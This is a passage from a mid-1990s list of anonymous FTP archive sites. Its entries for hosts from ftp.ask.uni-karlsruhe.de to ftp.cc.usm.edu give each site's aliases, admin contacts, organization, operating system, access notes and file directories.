ftpadm@ask.uni-karlsruhe.de, hettler@ask.uni-karlsruhe.de + (Christian Hettler) +Organ : Universitaet Karlsruhe (University of Karlsruhe), Karlsruhe, + Akademische Software Kooperation (ASK) +Server : mail-server@ask.uni-karlsruhe.de, list-server@ask.uni-karlsruhe.de +System : Unix (HP-UX) +URL : ftp://ftp.ask.uni-karlsruhe.de/ +Comment: use username 'ask' and password 'ask' if something goes wrong; + uploads in ./incoming, stored only if appropriate description + is available (description of description can be found in: + /pub/info/ask-info/sw-description_form..txt); other + services: ASK-SISY: telnet and login as ask and password ask, + ASK-SINA: telnet and login as sina and password sina; WWW: + http://askhp.ask.uni-karlsruhe.de; Gopher: + gopher.ask.uni-karlsruhe.de; lots of INDEX files (last-week, month + etc.) +Files : archiver; ask.info; bible; demos; dfg-info; education; ftp-list-de + (Deutsche Anonyme FTP-Server List); HP UX; infosystems; ls-lR.de; + Maple; MS-DOS; matlab; OS/2; OzTeX; TCP + +Site : ftp.astro.psu.edu +Country: USA +GMT : -5 +Date : 29-Nov-94 +Source : Perry.Rovers@kub.nl +Alias : tuva.astro.psu.edu +Admin : +Organ : Pennsylvania State University, , Pennsylvania +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.astro.psu.edu/ +Comment: +Files : abscoef; area_codes; astrod; asuka; axaf; cstat; fits; GRBs; heao; + HST GIFs; nefftp; xraylib + +Site : ftp.astro.umd.edu +Country: USA +GMT : -5 +Date : 30-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : astro.umd.edu [?] +Admin : +Organ : University of Maryland, , Maryland, Astro dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.astro.umd.edu/ +Comment: +Files : book; IHW; Linuxastro; netdump; spheres; + +Site : ftp.att.com +Country: USA +GMT : -8 +Date : 26-May-94 +Source : Perry.Rovers@kub.nl +Alias : gw1.att.com +Admin : postmaster@att.com +Organ : AT&T +Server : +System : Unix +URL : ftp://ftp.att.com/ +Comment: max. 20 users; files under /pub are available for access to the + public; read warning.notice for full AT&T legal disclaimer +Files : Afterdark (programmers mailing list archive); Dehai (Dehai + mailing list archive); rx7 (RX7 mailing list archive) + +Site : ftp.aud.alcatel.com +Country: USA +GMT : -6 +Date : 25-Jan-95 +Source : +Alias : +Admin : ftp@aud.alcatel.com (general), tcl@aud.alcatel.com (Tcl) +Organ : Alcatel Network Systems +Server : +System : Unix +URL : ftp://ftp.aud.alcatel.com/ +Comment: uploads to pub/incoming/yourname; for transfer of non-secure files + between Alcatel and companies doing business with Alcatel; max. + 60 users +Files : Tcl (code, distrib, docs, extensions, mirror of ftp.cs.berkeley.edu, + workshop) + +Site : ftp.austria.eu.net +Country: Austria +GMT : +1 +Date : 22-May-94 +Source : dlist@ora.com; Perry.Rovers@kub.nl +Alias : hp4at.eunet.at, hp4at.austria.eu.net, eunet.co.at, ftp.eunet.co.at +Admin : help@austria.eu.net +Organ : EUnet Austria, Vienna +Server : +System : Unix +URL : ftp://ftp.austria.eu.net/ +Comment: FSP server on some port apparently; all archives are mirrored +Files : books; EUnet; GNU; info; Mac; mail; modem; MS-Access; network; news; + NeXT; PC; security; support; util; vendor; VMS; wais; WWW; X11 + +Site : ftp.autodesk.com +Country: USA +GMT : -8 +Date : 19-Feb-95 +Source : pkane@nfesc.navy.mil (Pat Kane) +Alias : adeskgate.autodesk.com +Admin : +Organ : Autodesk, Sausalito, California +Server : +System : Unix +URL : ftp://ftp.autodesk.com/ +Comment: max. 100 users +Files : Autodesk product (AutoCAD, 3DStudio etc.) info, patches, specs; IOP; + Ithaca; listserv; misc; PS + +Site : ftp.aztech.com +Country: USA +GMT : -7 +Date : 19-Feb-95 +Source : admin +Alias : wyrm.aztech.com +Admin : steve@aztech.com (Steve Gibbons) +Organ : AZTech Software Consultants and Services, Tucson, Arizona +Server : info@aztech.com +System : Unix +URL : ftp://ftp.aztech.com/ +Comment: AZTech has _nothing_ to do with PC peripherals!!! (check the + documentation supplied with your hardware); AZTech produces + software for OpenVMS and UNIX systems, provides consulting services + for the same as well as networking and security expertise; and now + once again for all the morons who can't read: THIS IS NOT A PC + RELATED SITE! NO SOUNDCARD OR CD-ROM INFO!!!! GOT IT??? ok ;-) +Files : Information about AZTech, and support files for their clients + +Site : ftp.banyan.com +Country: USA +GMT : +Date : 22-May-94 +Source : +Alias : +Admin : +Organ : Banyan +Server : +System : Unix (System V Release 4.0) +URL : ftp://ftp.banyan.com/ +Comment: mirrored on ftp.wau.nl; Banyan info/patches/utils/tips +Files : 5536; bigear; commerce; hp_core; info; patches; support info + +Site : ftp.barrnet.net +Country: USA +GMT : -8 +Date : 22-May-94 +Source : dlist@ora.com +Alias : nic1.barrnet.net +Admin : +Organ : BARRnet, San Francisco, California +Server : +System : Unix +URL : ftp://ftp.barrnet.net/ +Comment: transfers are logged; access allowed all day +Files : BARRNet; BSDI; CERT; imr; lists; mbone; Mosaic; netintro; nets; + NetScape; news; nsfnet-nren-nii; OSI; ref; RFCs; security; src; + templates; Usenet; WAIS + +Site : ftp.bbcnc.org.uk +Country: UK +GMT : 0 +Date : 24-Aug-94 +Source : Unix Info magazine +Alias : auntie.bbcnc.org.uk +Admin : +Organ : British Broadcasting Corporation (BBC) Networking Club +Server : WWW: http://www.bbcnc.org.uk/ +System : Unix +URL : ftp://ftp.bbcnc.org.uk/ +Comment: +Files : BBCNC; membership; WWW + +Site : ftp.bc.net +Country: Canada +GMT : -8 +Date : 22-May-94 +Source : dlist@ora.com +Alias : jade.bc.net +Admin : +Organ : British Columbia Net, , British Columbia +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.bc.net/ +Comment: +Files : BCNet; Sun-patches + +Site : ftp.bdt.com +Country: USA +GMT : -8 +Date : 23-Dec-94 +Source : david@bdt.com (Dave Beckemeyer) {posting} +Alias : bdt.com +Admin : root@bdt.com +Organ : Beckemeyer Development, Oakland, California +Server : http://www.bdt.com/ +System : Unix +URL : ftp://ftp.bdt.com/ +Comment: +Files : CISgate; GeNIEgate; info; Mac (MacPPP); security (skey, Sun); + ulayers; winsock + +Site : ftp.belnet.be +Country: Belgium +GMT : +1 +Date : 30-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : mahler.belnet.be, gopher.belnet.be +Admin : ftpmaint@belnet.be +Organ : BelNet, Antwerpen +Server : +System : Unix +URL : ftp://ftp.belnet.be/ +Comment: +Files : Belnet; DNS; docs (FAQs, misc, RFCs, RIPE); GNU; infosystems + (archie, gopher, misc, news, www); mail; networking (management, + PC internet kit, winsock); OS (Linux); RUCA; + security; X11R6 + +Site : ftp.belwue.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : news.belwue.de, nic.belwue.de, nntpserver.iao.fhg.de +Admin : pws@nic.belwue.de (Peter W. Schurr) +Organ : , Stuttgart +Server : +System : +URL : ftp://ftp.belwue.de/ +Comment: +Files : + +Site : ftp.best.com +Country: USA +GMT : -8 +Date : 19-Feb-95 +Source : Perry.Rovers@kub.nl +Alias : shell1.best.com +Admin : +Organ : Best +Server : +System : Unix +URL : ftp://ftp.best.com/ +Comment: user public directories under /pub, a lot of them, it looks like + the old netcom site. Hint: split this directory into parts! +Files : abcnet; acceptance; acix; analytic; babylon; best; compusa1; ecafe; + english; entcafe; excel; fanclub; flatline; hal9000; ii; indigo; + infoasia; infoent; informe; infowerk; integra; intentrs; kilsdonk; + newmedia; quantum; quarium; siggraph; software [?]; spectrex; + starnet; support [?]; + +Site : ftp.bga.com +Country: USA +GMT : -6 +Date : 09-Jun-94 +Source : Perry.Rovers@kub.nl +Alias : fnord.bga.com +Admin : jher@bga.com +Organ : Real/Time +Server : +System : Unix +URL : ftp://ftp.bga.com/ +Comment: max. 10 users +Files : eff; Mac; misc (PrMass,PrReasons,PrResolutions); MS-DOS; realtime; + spring; Unix; vendors: microlog, moraff, take3 + +Site : ftp.bhp.com.au +Country: Australia +GMT : +10 +Date : 19-feb-95 +Source : w8sdz@SimTel.Coast.NET (Keith Petersen) {posting} +Alias : trixie.resmel.bhp.com.au +Admin : helpdesk@resmel.bhp.com.au +Organ : BHP, Melbourne +Server : +System : Unix +URL : ftp://ftp.bhp.com.au/ +Comment: do not download large amounts of data from this machine between + 08:00 and 18:00 local time; mail admin if you leave anything in the + incoming directory; max. 20 users; read info/welcome-ftpuser and + info/archive-layout; server can (de)compress, g(un)zip and tar; + quote site index available; mainly intended for BHP + use but open to other users, mostly mirrors of other sites +Files : GNU (from prep.ai.mit.edu); Linux (Slackware, from + monu1.cc.monash.edu.au); Mac (from mac.archive.umich.edu); Microsoft + (from ftp.microsoft.com); Newton (from newton.uiowa.edu); + PC (from garbo.uwasa.fi); RFCs (from archie.au); security (from + coast.cs.purdue.edu); WWW (from www.unimelb.edu.au); X11 R5 contrib + distribution (from archie.au) + +Site : ftp.bilkent.edu.tr +Country: Turkey +GMT : +2 +Date : 17-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : ankara.bilkent.edu.tr +Admin : akgul@bilkent.edu.tr (Mustafa Akgul) +Organ : Bilkent University, Ankara, CC +Server : gopher: gopher.bilkent.edu.tr; WWW: www.bilkent.edu.tr; + mail: bilkent-server@bilkent.edu.tr; FSP: ftp.bilkent.edu.tr +System : Unix +URL : ftp://ftp.bilkent.edu.tr/ +Comment: tar and compress on the fly; use aliases to change directories: + quote site alias for a list; Gopher: gopher.bilkent.tr; Notifier + can be used as mail-server, read /pub/INFO/Netinfo; + successor of firat.bcc.bilkent.edu.tr [considered obsolete, still + allows anonymous ftp and has a Photos directory that might be + interesting] +Files : Amiga; benchmark; GIF; humor; IEOR; INFO; Linux; Mac; Machine + learning; Math; meetings; Neural; PC; Reports; TeX; Unix; Utils + +Site : ftp.bio.indiana.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : PC NFS FAQ +Alias : fly.bio.indiana.edu, iubio.bio.indiana.edu +Admin : archive@bio.indiana.edu +Organ : Indiana University, Bloomington, Indiana, Biology dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.bio.indiana.edu/ +Comment: directory: /util/wais; see Archive.Doc for details +Files : biology; chemistry; flybase; IUBIO archive: biology software and + data; molbio; science; usenet; util + +Site : ftp.biostat.washington.edu +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : Perry.Rovers@kub.nl +Alias : orac.biostat.washington.edu +Admin : ftp@ftp.biostat.washington.edu +Organ : University of Washington, Seattle, Washington +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.biostat.washington.edu/ +Comment: directory: /ftp/pub/msdos +Files : classes; gopher; individuals; MS-DOS; papers; Sun4; zoomer + +Site : ftp.biostr.washington.edu +Country: USA +GMT : -8 +Date : 24-Aug-94 +Source : queensryche-faq +Alias : glia.biostr.washington.edu +Admin : jsp@glia.biostr.washington.edu +Organ : University of Washington, Seattle, Washington +Server : +System : Unix +URL : ftp://ftp.biostr.washington.edu/ +Comment: +Files : browser; digital anatomist; Mac; MIDI; mri; muckdocs; muq; + Queensryche; qwestdocs; slisp; tech; tinyfugue; xlisp + +Site : ftp.bl.physik.tu-muenchen.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : sally.bl.physik.tu-muenchen.de, sally.bl.physik.uni-muenchen.de, + ftp.bl.physik.uni-muenchen.de +Admin : rg@physik.uni-muenchen.de +Organ : Technische Universitaet Muenchen (Munich University of Technology) + Physics department, Munich, Accelerator Lab, Computer Support Group +Server : +System : +URL : ftp://ftp.bl.physik.tu-muenchen.de/ +Comment: successor of charly.bl.physik.tu-muenchen.de; automagically + compress, uncompress, gzip, tar and REGET +Files : cdc; ep/ix; MIPS RISC OS; pcs cadmus; physics + +Site : ftp.books.com +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : cheritag@books.com (Camille Tillman) +Alias : shaker.books.com +Admin : filemaster@books.com (Mike Wallace) +Organ : Book Stacks Unlimited, Cleveland, Ohio +Server : telnet://books.com/ +System : NT (Windows NT, PC) +URL : ftp://ftp.books.com/ +Comment: get the dir.txt and info.txt files for an index of the files in a + directory +Files : PD Ebooks: fiction, nonfiction, poetry + +Site : ftp.borland.com +Country: USA +GMT : +Date : 25-Jan-95 +Source : sserb@vnet.ibm.com (Sorin Serb) +Alias : +Admin : +Organ : Borland International +Server : +System : +URL : ftp://ftp.borland.com/ +Comment: Problem: I/O error on network device +Files : Borland related file: Borland C++, Turbo C, Turbo Pascal etc. + + +Site : ftp.bouw.tno.nl +Country: Netherlands +GMT : +1 +Date : 14-Dec-94 +Source : nl-ftp as posted to nlnet.announce +Alias : +Admin : Johan.Taal@bouw.tno.nl +Organ : The Netherlands Organization For Applied Scientific Research (TNO), + Rijswijk, Building and Construction Research +Server : +System : Unix +URL : ftp://ftp.bouw.tno.nl/ +Comment: Problem: I/O error on network device [What's wrong here??] + Please use local servers first; most of our stuff is mirrorred; + open 24 hours; big downloads between 18:00-07:00 local time + please; gopher via ftp.bouw.tno.nl, port 70; 2.2Gb +Files : Windows utilties; Novell; Pmail (ENG + DUTCH version); Graphic + images; TNO Company information; a lot of PD PCware; Security + docs; div. MAILserver software; FTP deamons; network tools; + SUN-fixes; CERT docs; UNIX utilities; infosystems: WAIS, + GOPHER, WWW, ALEX, anonymousFTPservers, ARCHIE; MAC stuff; GNU; + RIPE docs; PostScript stuff; packet drivers; BBS software and + other stuff + +Site : ftp.bme.hu +Country: Hungary +GMT : +1 +Date : 22-May-94 +Source : +Alias : goliat.bme.hu +Admin : +Organ : Technical University of Budapest, Budapest, Centre of Information + Systems +Server : +System : Unix +URL : ftp://ftp.bme.hu/ +Comment: +Files : atm; emulators; games; Linux; MS-DOS; MS-Windows3; Novell; Unix; VMS + +Site : ftp.brad.ac.uk +Country: UK +GMT : 0 +Date : 18-Aug-94 +Source : Perry.Rovers@kub.nl, k3ras@charney.gsfc.nasa.gov (Raymond A. Sears) +Alias : info.brad.ac.uk +Admin : +Organ : University of Bradford, Bradford +Server : +System : Unix +URL : ftp://ftp.brad.ac.uk/ +Comment: directories: /pub/mods, /incoming/mods, /pub/misc/graphics; Transfer + type set to BINARY; Bradford users read README.bradford +Files : AU sound files; graphics (GIF, JPG); Married With Childen + program guide; mods; MS-DOS + +Site : ftp.britain.eu.net +Country: UK +GMT : 0 +Date : 10-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : marble.britain.eu.net +Admin : jhma@britain.eu.net +Organ : EUnet Britain/UK +Server : +System : Unix +URL : ftp://ftp.britain.eu.net/ +Comment: successor of eros.britain.eu.net (used for UUCP now); transfers are + logged; compressing/gzipping/tarring on the fly +Files : comp.sources.x; docs; GNU; infosrv; ISO; ITR; misc; news; Pratchett; + RFCs; Sun-dist/patches; uumap; X11R6; xcal + +Site : ftp.brown.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : Perry.Rovers@kub.nl +Alias : stanley.cis.brown.edu +Admin : +Organ : Brown University, Providence, Rhode Island, CC +Server : +System : +URL : ftp://ftp.brown.edu/ +Comment: +Files : Eudora X (Usenet Newsreader); POP3 client for Unix (popper) + +Site : ftp.brunel.ac.uk +Country: UK +GMT : 0 +Date : 25-Jan-95 +Source : Nik.Clayton@brunel.ac.uk (Nik Clayton) {posting} +Alias : venus.brunel.ac.uk +Admin : +Organ : Brunel University, Uxbridge +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.brunel.ac.uk/ +Comment: +Files : Athena; blsthhk; castels; ccusnab; CompSci; crash; cshsd; ee; + eesrppn; Library; maths; PC; prowse; sendmail; studentsoft; WWW; + X.500 + +Site : ftp.bsdi.com +Country: USA +GMT : -8 +Date : 25-Aug-94 +Source : austin.bsdi.com +Alias : bsdi.com +Admin : archive@bsdi.com +Organ : Berkeley Software Design Inc. +Server : +System : Unix +URL : ftp://ftp.bsdi.com/ +Comment: transfers are logged +Files : BSDI: info, patches, support; contrib: admin, applications, + database, games, GNU, info, infosystems, kernel, languages, lib, + mail, mailing.list, networking, news, sound, TeX, utilities, X11, + yuval + +Site : ftp.c-mols.siu.edu +Country: USA +GMT : +Date : 25-Jan-95 +Source : belal@sco.com (Bela Lubkin> {posting} +Alias : igate.c-mols.siu.edu +Admin : +Organ : +Server : +System : Unix +URL : ftp://ftp.c-mols.siu.edu/ +Comment: +Files : GNU; NT; SCO [empty]; winsock + +Site : ftp.ca.gov +Country: USA +GMT : -8 +Date : 29-Nov-94 +Source : Perry.Rovers@kub.nl +Alias : nic.tdcnet.ca.gov +Admin : +Organ : State of California, , California +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.ca.gov/ +Comment: some of the info files appear to be rather old +Files : CERT; maps; cr; docs; dsa; ftpmail; gopher; guides; gzip; Mac; + Mosaic; netinfo; netmanage; nutshell; PC; pop; RFCs; sendmail; + Sunfixes; TCPF; TN3270 + +Site : ftp.cac.psu.edu +Country: USA +GMT : -5 +Date : 14-Oct-94 +Source : Perry.Rovers@kub.nl; saw@hallc1.cebaf.gov (Steven A. Wood) +Alias : thedon.cac.psu.edu +Admin : ftp@ftp.cac.psu.edu +Organ : Pennsylvania State University, , Pennsylvania +Server : +System : Unix +URL : ftp://ftp.cac.psu.edu/ +Comment: directory: /pub/dos/info/tcpip.packages; successor of + hallc1.cebaf.gov and wood.cebaf.gov +Files : access; ANSI REXX; courses; docs; folk music; genealogy; gopher; + gymn; humanities; internexus; jbe; Mac; MS-DOS; NIC: OS/2; + Shoemaker-Levy 9 (SL9) info/images; tv-networks; Unix; VM + +Site : ftp.cac.washington.edu +Country: USA +GMT : -8 +Date : 12-Feb-94 +Source : Internet World +Alias : +Admin : +Organ : University of Washington, Seattle, Washington, Computing And + Communications +Server : +System : Unix +URL : ftp://ftp.cac.washington.edu/ +Comment: read README.FIRST +Files : bind; Clearinghouse of Subject Oriented Internet Resources; Easymail + irdp (router-discovery); MailManager; IMAP2, POP23 for NeXT and Unix + client and server programs; kermit; MS-DOS; NCSA; netinfo; + noc-tools; Pine (home); sendmail; sun-fix; utils; willow; winsock; X + +Site : ftp.cae.wisc.edu +Country: USA +GMT : -6 +Date : +Source : hpux.cict.fr +Alias : +Admin : +Organ : University of Wisconsin, Madison, Wisconsin, CAE +Server : +System : +URL : ftp://ftp.cae.wisc.edu/ +Comment: +Files : HP UX related files + +Site : ftp.caltech.edu +Country: USA +GMT : -8 +Date : 23-May-94 +Source : +Alias : piccolo.caltech.edu, cco.caltech.edu +Admin : +Organ : California Institute of Technology, Pasadena, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.caltech.edu/ +Comment: +Files : adnd; Apple2; aquaria; disney; docs; graphics; heath; humor; IBM PC; + mathematica; mcbeath; nyet; plays; reefkeepers; Solaris 2.2; Sun; + surfing; UA; X; X11; xyplex; ytalk + +Site : ftp.calvacom.fr +Country: France +GMT : +1 +Date : 22-Oct-94 +Source : Perry.Rovers@kub.nl +Alias : midgard.calvacom.fr +Admin : ftp@ftp.calvacom.fr or root@calvacom.fr if the first fails +Organ : CalvaNet (S.T.I.) +Server : +System : Unix (Unixware, 486 DX/2 66) +URL : ftp://ftp.calvacom.fr/ +Comment: +Files : docs; GNU; Internet Tools (MacOS, Windows), Tutorials; Linux + (Slackware); RFCs; Unix; Unixware + +Site : ftp.can.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : canc.can.nl +Admin : +Organ : Computer Algebra Nederland, Amsterdam +Server : +System : Unix +URL : ftp://ftp.can.nl/ +Comment: +Files : akcl; aldes; alpi-cocoa; arith; bignum; CA-meetings; CalICo; cc4; + GB-Linz; GB-POSSO; chevie; dsl; felix; form; form1; gap; HISC; + info; jacal; kan; KANT; kcl; kent; macaulay; Maple; mas; + mathematica; MuPAD; pari-gp; reduce-netlib; saclib; simath; + symbmath; symmetrica; weyl + +Site : ftp.caprica.com +Country: USA +GMT : +Date : 10-Sep-94 +Source : jlummel@caprica.com (James Lummel) {posting} +Alias : prog1.caprica.com +Admin : ftp@caprica.com +Organ : Caprica Telecomputing Services +Server : ftp-server@caprica.com; FSL: ftp.caprica.com 21; gopher.caprica.com +System : Unix +URL : ftp://ftp.caprica.com/ +Comment: QNX OS; mirror of neon.rain.com (only accessible by FSP, mail or + gopher, contains: falcon3, hitech-sim, thrustmaster); uploads to + /pub/incoming, make sure you mail the admin +Files : disneysoft [empty?]; misc (games (demos, jfs, patches, programs, + tools), mediavision, msdos [empty?[, OS/2 (wmos2,pmjpeg), RIP); + Windows NT (fragchk); Winsock (mpeg, wmos2); qnx (qnx 2.15, doom, + posix) + +Site : ftp.catalog.com +Country: USA +GMT : +Date : 29-Nov-94 +Source : Perry.Rovers@kub.nl +Alias : nw.com, ftp.nw.com, catalog.com +Admin : +Organ : Catalog Internet Services +Server : http://www.nw.com/ +System : Unix +URL : ftp://ftp.catalog.com +Comment: +Files : bahnware; catalog; mkl; mm; mrm; nosh; Network Wizards; pagesat; + zone (Internet Domain Survey) + +Site : ftp.catt.ncsu.edu +Country: USA +GMT : -5 +Date : 10-Feb-94 +Source : garfield.catt.ncsu.edu +Alias : fritz.catt.ncsu.edu +Admin : ftpsite@catt.ncsu.edu +Organ : North Carolina State University, Raleigh, North Carolina +Server : +System : Unix (Ultrix 4.3a, DEC Station 2100) +URL : ftp://ftp.catt.ncsu.edu/ +Comment: a lot of copyrighted files (mostly comics) have been deleted; + this is the successor of garfield.catt.ncsu.edu; the alias + fritz.catt.ncsu.edu should not be used and is present for + completeness now (this is subject to change); EOS users: files + are available from directory: /afs/catt/ftp; max. 15 users; + all inbound files checked within 24 hours, no pornographic, + copyrighted or illegal material; use a valid e-mail address as + a password +Files : alt.radio.scanner; anime; GIF (lots of them); graphics; ham radio; + MS-DOS; OS/2; sounds; Win3 + +Site : ftp.cayman.com +Country: USA +GMT : -5 +Date : 16-Aug-94 +Source : bitbug@highland.com (James Buster) +Alias : cayman.cayman.com +Admin : postmaster@cayman.com +Organ : Cayman Systems +Server : +System : Unix +URL : ftp://ftp.cayman.com/ +Comment: Vile archive site +Files : aurp-doc; gator; kangee; mac_telnet; medea; mfs; mibs; pc-info; + pcnfsd; ppp; sales+marketing info; vile; watch + +Site : ftp.cc.berkeley.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : nak.berkeley.edu +Admin : ftp@ftp.cc.berkeley.edu +Organ : University of California - Berkeley, Berkeley, California + Data Comm & Net Services +Server : +System : Unix +URL : ftp://ftp.cc.berkeley.edu/ +Comment: Open 24 hours +Files : Unix help system; Unix POP3 server (in /pub/popper); UCI RandMH + some network information + +Site : ftp.cc.columbia.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : watsun; +Admin : ftp-bugs@columbia.edu +Organ : Columbia University, New York, New York, +Server : +System : Unix +URL : ftp://ftp.cc.columbia.edu/ +Comment: one of the successors of columbia.edu/ftp.columbia.edu; all + transfers and connections are logged; username 'ftp' possible + instead of 'anonymous' (no quotes); all transfers and connections + are logged; public file transfer point: /pub/ftp +Files : mm (Mail Manager); ccmd (C-language interactive command-parsing + package); bibliographic items; bootp (RFC1395 UNIX bootp server); + dj (automatic backup of network to jukebox); Kermit; misc; patch + (Larry Wall's PATCH program); packet-drivers (The Crynwyr nee + Clarkson packet driver collection); PC fonts (from Yossi Gil); + VMS-make (new MAKE for (Open-)VMS VAX and AXP); vms-libcmu + (Berkeley sockets library for CMU/Tek VMS TCP/IP) + +Site : ftp.cc.gatech.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : old ftp-list +Alias : solaria.cc.gatech.edu +Admin : +Organ : Georgia Tech, Atlanta, Georgia, CC +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.cc.gatech.edu/ +Comment: +Files : adr; AI; AIX; Amiga; architecture; bodhi; coc; coc_graduate_info; + cogsci94; database; dbpvm; gvu; IBM; ibm-understand; ims1000; + Mac; menu; music; NeXT; pat; sounds; tech-reports; TimeWarp; UIST; + UIST94; Unix + +Site : ftp.cc.lehigh.edu +Country: USA +GMT : -5 +Date : 11-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : fidoii.cc.lehigh.edu, ftp.lehigh.edu +Admin : +Organ : Lehigh University, , , CC +Server : +System : Unix +URL : ftp://ftp.cc.lehigh.edu/ +Comment: +Files : access; evap; listserv; lucc sites; Mac; monds; MS-DOS; MS-Windows; + network; novell; paicc; plot; SAS; sqtp; tknews; xodo + +Site : ftp.cc.monash.edu.au +Country: Australia +GMT : +10 +Date : 17-Apr-94 +Source : MODERxx.ZIP; old ftp-list +Alias : monu6.cc.monash.edu.au, ftp.monash.edu.au +Admin : steve@cc.monash.edu.au (Steve Balogh: Windows, Vietnam etc.), + jwb@capek.rdt.monash.edu.au (Prof. Jim Breen: Nihongo) +Organ : Monash University - Clayton Campus, Melbourne, CC +Server : +System : Unix +URL : ftp://ftp.cc.monash.edu.au/ +Comment: directories: pub/win3, pub/nihongo, pub/vietnam, pub/wwdj, pub/vi +Files : graphics.formats; hlst; Mac; MS-Windows 3.x and MS-Windows NT (mirrors + ftp.cica.indiana.edu); MS-Windows/DOS Developers Journal sources; + Nihongo (Japanese); palmtop; PC; Vi editor; Vietnamese language and + culture; wddj; womcs; WordPerfect + +Site : ftp.cc.ncsu.edu +Country: USA +GMT : -5 +Date : 23-May-94 +Source : +Alias : ftp.ncsu.edu, sparc04.cc.ncsu.edu +Admin : unity-adm@ncsu.edu +Organ : North Carolina State University, Raleigh, North Carolina, CC +Server : +System : Unix +URL : ftp://ftp.cc.ncsu.edu/ +Comment: transfers are logged; arg, pmc, rdkeys, senate are now in /pub/ncsu; + no remote sites are currently mounted; anonymous sessions are logged +Files : arg; CC; multimedia; NCSU; pmc; rdkeys lockers; senate + +Site : ftp.cc.purdue.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : sage.cc.purdue.edu +Admin : +Organ : Purdue University, West-Lafayette, Indiana, CC +Server : +System : Unix +URL : ftp://ftp.cc.purdue.edu/ +Comment: +Files : hosts; kermit; kes; Mac; PUCC locally developed stuff; telnet + +Site : ftp.cc.ruu.nl +Country: Netherlands +GMT : +1 +Date : 15-May-94 +Source : Perry.Rovers@kub.nl +Alias : accucx.cc.ruu.nl +Admin : +Organ : Rijks Universiteit Utrecht (Utrecht University), Utrecht, CC +Server : +System : Unix +URL : ftp://ftp.cc.ruu.nl/ +Comment: +Files : Benchmarks; campus-online; cap; CERT-UU; DNS; gopher; Mac; Mail; + MS-DOS; NCSA; Netinfo; PC Raster; Sun; UNIX; WWW; X; X500 + +Site : ftp.cc.saga-u.ac.jp +Country: Japan +GMT : +9 +Date : 15-Dec-94 +Source : mikescott@ix.netcom.com (Michael Scott) {posting} +Alias : sagagw.cc.saga-u.ac.jp +Admin : +Organ : University of Saga, Saga, CC +Server : +System : Unix +URL : ftp://ftp.cc.saga-u.ac.jp/ +Comment: +Files : archiving (comp.binaries.{cbm, ibm.pc, ms-windows}, + comp.sources.{misc, postscript, reviewed, sun, unix, x}, + fj.binaries.{j3100, misc, msdos, x68000}, fj.sources; atro; BSD; + editor; FreeBSD; GNU; Mac; MS-DOS; netnews; networking; NeXT; OS; + RFCs; TeX; Wnn; WWW; X; X11R6 + +Site : ftp.cc.tut.fi +Country: Finland +GMT : +2 +Date : 20-Apr-94 +Source : Perry.Rovers@kub.nl +Alias : butler.cc.tut.fi +Admin : +Organ : Tampere University of Technology, Tampere, CC +Server : +System : Unix +URL : ftp://ftp.cc.tut.fi/ +Comment: also available through Gopher (gopher.cc.tut.fi) +Files : ATM; gopher (Mac, PC, Unix client); PC SLIP (executable and info); + Sol2-patches; x500 + +Site : ftp.cc.uch.gr +Country: Greece +GMT : +2 +Date : 16-Jul-94 +Source : lourakis@csd.uch.gr (Manolis Lourakis) +Alias : estia.cc.uch.gr +Admin : stefan@cc.uch.gr (Stefanos Pihas) +Organ : University of Crete, Heraklion, Crete, CC +Server : +System : Unix +URL : ftp://ftp.cc.uch.gr/ +Comment: descriptive ls-format +Files : computer: DECUS, games, graphics, Mac, misc, MS-DOS, network, + packages, Unix; hobby: music, lyrics, sports; local stuff; + scientific: ai, audio, chem, clinchem, computer, geo, graphics, + library, math, medical, misc, molbio, neural, papers, parallel, + physics, psychology, simulation, systems + +Site : ftp.cc.umanitoba.ca +Country: Canada +GMT : -6 +Date : 25-Jan-95 +Source : Perry.Rovers@kub.nl +Alias : canopus.cc.umanitoba.ca +Admin : +Organ : University of Manitoba, Winnipeg, Manitoba, CC +Server : +System : Unix +URL : ftp://ftp.cc.umanitoba.ca/ +Comment: No Poland information is stored here +Files : astro-ccd; astro-courses; buhr; dallas; Doom; eek; fordemo; + frontier; GUS digest; icpsr; LaTeX; Mac; Macgap; Mac develop; MIDI; + mods; Netscape; NSF; Oedipus; OS/2 beta/fixes; PC; PiHKAL; + Pink Floyd; psgendb; pspice; rec.travel Info Library; Ren & Stimpy; + renegade; SLS; StarTrek; Sun-fixes; Sun-patches; ttn; vega; Wolf 3D; + X; XV 3.00a; Zen + +Site : ftp.cc.uni-augsburg.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List; ftp.uni-augsburg.de +Alias : kei.cc.uni-augsburg.de +Admin : auxnode@uni-augsburg.de +Organ : Universitaet Augsburg (University of Augsburg), Augsburg, CC +Server : +System : Unix +URL : ftp://ftp.cc.uni-augsburg.de/ +Comment: Due to lack of space the Anime-part of our service had to be closed + down +Files : gifs; SGI; Suns; X11 + +Site : ftp.cc.usm.edu +Country: USA +GMT : -6 +Date : 29-Sep-94 +Source : +Alias : blackmoor.cc.usm.edu +Admin : +Organ : University of Southern Mississippi, 